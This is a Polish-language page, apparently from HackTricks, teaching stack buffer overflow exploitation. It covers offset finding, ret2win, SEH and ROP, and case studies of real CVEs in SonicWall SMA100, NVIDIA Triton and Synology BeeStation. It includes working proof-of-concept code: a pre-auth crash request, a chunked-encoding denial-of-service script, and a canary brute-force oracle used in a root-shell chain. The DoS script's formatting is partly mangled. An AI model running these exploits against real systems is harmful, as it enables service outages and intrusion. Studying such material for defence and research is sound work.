Stack Overflow
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Czym jest Stack Overflow
stack overflow to luka, która występuje, gdy program zapisuje na stos więcej danych, niż zostało dla niego przydzielone. Ta nadmiarowa ilość danych będzie nadpisywać sąsiednią przestrzeń pamięci, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu sterowania i potencjalnego wykonania złośliwego kodu. Problem ten często wynika z użycia niebezpiecznych funkcji, które nie sprawdzają granic wejścia.
Głównym problemem tego nadpisania jest to, że zapisany wskaźnik instrukcji (EIP/RIP) i zapisany wskaźnik bazowy (EBP/RBP) służące do powrotu do poprzedniej funkcji są przechowywane na stosie. W związku z tym atakujący będzie w stanie je nadpisać i kontrolować przepływ wykonania programu.
Luka zwykle powstaje, ponieważ funkcja kopiuje na stos więcej bajtów niż przydzielono dla niej, dzięki czemu może nadpisać inne części stosu.
Niektóre powszechnie podatne funkcje to: strcpy, strcat, sprintf, gets… Również funkcje takie jak fgets, read i memcpy, które przyjmują argument długości, mogą być użyte w sposób podatny, jeśli określona długość jest większa niż przydzielona.
Na przykład następujące funkcje mogą być podatne:
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}
Znajdowanie offsetów Stack Overflows
Najczęstszym sposobem na znalezienie Stack Overflows jest podanie bardzo dużego wejścia z As (np. python3 -c 'print("A"*1000)') i oczekiwanie na Segmentation Fault, wskazujący, że próbowano uzyskać dostęp do adresu 0x41414141.
Ponadto, gdy już znajdziesz, że istnieje podatność Stack Overflow, będziesz musiał znaleźć offset, po którym możliwe jest nadpisanie adresu powrotu, do tego zwykle używa się De Bruijn sequence. Dla danego alfabetu o rozmiarze k i podciągów długości n jest to ciąg cykliczny, w którym każdy możliwy podciąg długości n występuje dokładnie raz jako ciągły podciąg.
W ten sposób, zamiast ręcznie ustalać, jaki offset jest potrzebny do kontrolowania EIP, można użyć jednego z takich ciągów jako padding i następnie znaleźć offset bajtów, które go nadpisały.
Do tego można użyć pwntools:
from pwn import *
# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)
# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")
lub GEF:
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp
Exploiting Stack Overflows
Podczas overflowu (zakładając, że rozmiar overflowu jest wystarczająco duży) będziesz w stanie overwrite wartości zmiennych lokalnych na stosie aż do zapisanych EBP/RBP and EIP/RIP (or even more).
Najczęstszym sposobem nadużycia tego typu podatności jest modifying the return address, tak aby po zakończeniu funkcji control flow will be redirected wherever the user specified w tym wskaźniku.
Jednak w innych scenariuszach samo overwriting some variables values in the stack może wystarczyć do exploitatacji (np. w łatwych zadaniach CTF).
Ret2win
W tego typu wyzwaniach CTF w binarce znajduje się function inside the binary, która jest never called, a którą you need to call in order to win. Dla tych zadań wystarczy znaleźć offset to overwrite the return address oraz find the address of the function do wywołania (zazwyczaj ASLR będzie wyłączone), tak aby po zwróceniu vulnerable function została wywołana ukryta funkcja:
Stack Shellcode
W tym scenariuszu atakujący może umieścić shellcode na stacku i wykorzystać kontrolowany EIP/RIP, aby skoczyć do shellcode i wykonać dowolny kod:
Windows SEH-based exploitation (nSEH/SEH)
Na 32-bitowym Windowsie overflow może nadpisać łańcuch Structured Exception Handler (SEH) zamiast zapisanego return address. Eksploatacja zwykle zastępuje SEH pointer gadgetem POP POP RET i używa 4-bajtowego pola nSEH jako krótkiego skoku, aby pivotować z powrotem do dużego bufora, w którym znajduje się shellcode. Typowy wzorzec to krótki jmp w nSEH, który trafia na 5-bajtowy near jmp umieszczony tuż przed nSEH, aby przeskoczyć setki bajtów z powrotem do początku payloadu.
ROP & Ret2… techniques
Ta technika stanowi fundamentalny framework do obejścia głównej ochrony przeciwko poprzedniej technice: No executable stack (NX). Pozwala też wykonać wiele innych technik (ret2lib, ret2syscall…), które ostatecznie uruchomią dowolne polecenia poprzez nadużycie istniejących instrukcji w binarce:
Heap Overflows
Overflow nie zawsze będzie na stacku — może również występować w heap, na przykład:
Typy zabezpieczeń
Istnieje kilka zabezpieczeń próbujących uniemożliwić eksploatację podatności — sprawdź je w:
Common Binary Exploitation Protections & Bypasses
Przykład z praktyki: CVE-2025-40596 (SonicWall SMA100)
Dobrym przykładem, dlaczego sscanf nigdy nie powinno być używane do parsowania niezaufanego wejścia, pojawił się w 2025 roku w urządzeniu SonicWall SMA100 SSL-VPN.
Wrażliwa procedura w /usr/src/EasyAccess/bin/httpd próbuje wyodrębnić wersję i endpoint z każdego URI, które zaczyna się od /__api__/:
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
- Pierwsza konwersja (
%2s) bezpiecznie zapisuje dwa bajty doversion(np."v1"). - Druga konwersja (
%s) nie ma specyfikatora długości, dlategosscanfbędzie kopiować aż do pierwszego bajtu NUL. - Ponieważ
endpointznajduje się na stack i jest 0x800 bytes long, podanie ścieżki dłuższej niż 0x800 bytes uszkadza wszystko, co znajduje się za buforem ‑ w tym stack canary i saved return address.
Jednolinijkowy proof-of-concept wystarczy, aby wywołać awarię przed uwierzytelnieniem:
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)
Mimo że stack canaries przerywają proces, atakujący nadal zyskuje prymityw Denial-of-Service (a przy dodatkowych information leaks — możliwe code-execution).
Przykład z rzeczywistego świata: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
Triton Inference Server firmy NVIDIA (≤ v25.06) zawierał wiele stack-based overflows dostępnych przez jego HTTP API.
Wzorzec podatności pojawiał się wielokrotnie w http_server.cc i sagemaker_server.cc:
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
evbuffer_peek(libevent) zwraca liczbę wewnętrznych segmentów bufora, które tworzą bieżące ciało żądania HTTP.- Każdy segment powoduje alokację 16-byte
evbuffer_iovecna stosie za pomocąalloca()– bez górnego ograniczenia. - Nadużywając HTTP chunked transfer-encoding, klient może zmusić żądanie do podziału na setki tysięcy 6-bajtowych kawałków (
"1\r\nA\r\n"). To sprawia, żenrośnie bez ograniczeń, aż stos zostanie wyczerpany.
Dowód koncepcji (DoS)
Chunked DoS PoC
```python #!/usr/bin/env python3 import socket, sysdef exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())
for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()
if name == “main”: exploit(*sys.argv[1:])
</details>
Żądanie ~3 MB wystarcza, aby nadpisać zapisany adres powrotu i **crash** the daemon on a default build.
### Real-World Example: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)
Synacktiv’s Pwn2Own 2025 chain wykorzystał pre-auth overflow w `SYNO.BEE.AdminCenter.Auth` na porcie 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes dane atakującego do 4096-bajtowego stack buffer, ale błędnie ustawia `decoded_len = auth_info->len`. Ponieważ CGI worker forks per request, każde child dziedziczy parent’s stack canary, więc jedna stabilna overflow primitive wystarczy zarówno do skompromitowania stosu, jak i do leak wszystkich wymaganych sekretów.
#### Base64-decoded JSON as a structured overflow
Zdekodowany blob musi być poprawnym JSON-em i zawierać klucze "state" i "code"; w przeciwnym razie parser throws zanim overflow stanie się użyteczny. Synacktiv rozwiązał to przez Base64-encoding payloadu, który dekoduje się do JSON, następnie NUL byte, a potem overflow stream. `strlen(decoded)` zatrzymuje się na NUL, więc parsowanie się udaje, ale `SLIBCBase64Decode` już nadpisał stack za obiektem JSON, obejmując canary, saved RBP i return address.
```python
pld = b'{"code":"","state":""}\x00' # JSON accepted by Json::Reader
pld += b"A"*4081 # reach the canary slot
pld += marker_bytes # guessed canary / pointer data
send_request(pld)
Crash-oracle bruteforcing of canaries & pointers
synoscgi tworzy fork dla każdego żądania HTTP, więc wszystkie procesy potomne dzielą ten sam canary, układ stosu i PIE slide. Exploit traktuje kod statusu HTTP jako oracle: odpowiedź 200 oznacza, że zgadnięty bajt zachował stos, podczas gdy 502 (lub zerwane połączenie) oznacza, że proces się zawiesił. Brute-forcing każdego bajtu sekwencyjnie odzyskuje 8-bajtowy canary, zapisany wskaźnik stosu i adres powrotu wewnątrz libsynobeeadmincenter.so:
def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")
bf_next_ptr po prostu wywołuje bf_next_byte osiem razy, doklejając potwierdzony prefix. Synacktiv zrównoleglił te oracles przy użyciu ~16 worker threads, skracając całkowity leak time (canary + stack ptr + lib base) do poniżej trzech minut.
Od leaks do ROP & execution
Po poznaniu library base, common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) budują prymityw arb_write, który umieszcza /bin/bash, -c oraz polecenie atakującego na leaked stack address. Na koniec łańcuch ustawia konwencję wywołań dla SLIBCExecl (wrappera BeeStation wokół execl(2)), dając root shell bez potrzeby osobnego info-leak bug.
Referencje
- watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)
- Trail of Bits – Uncovering memory corruption in NVIDIA Triton
- HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf)
- Synacktiv – Breaking the BeeStation: Inside Our Pwn2Own 2025 Exploit Journey
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
HackTricks

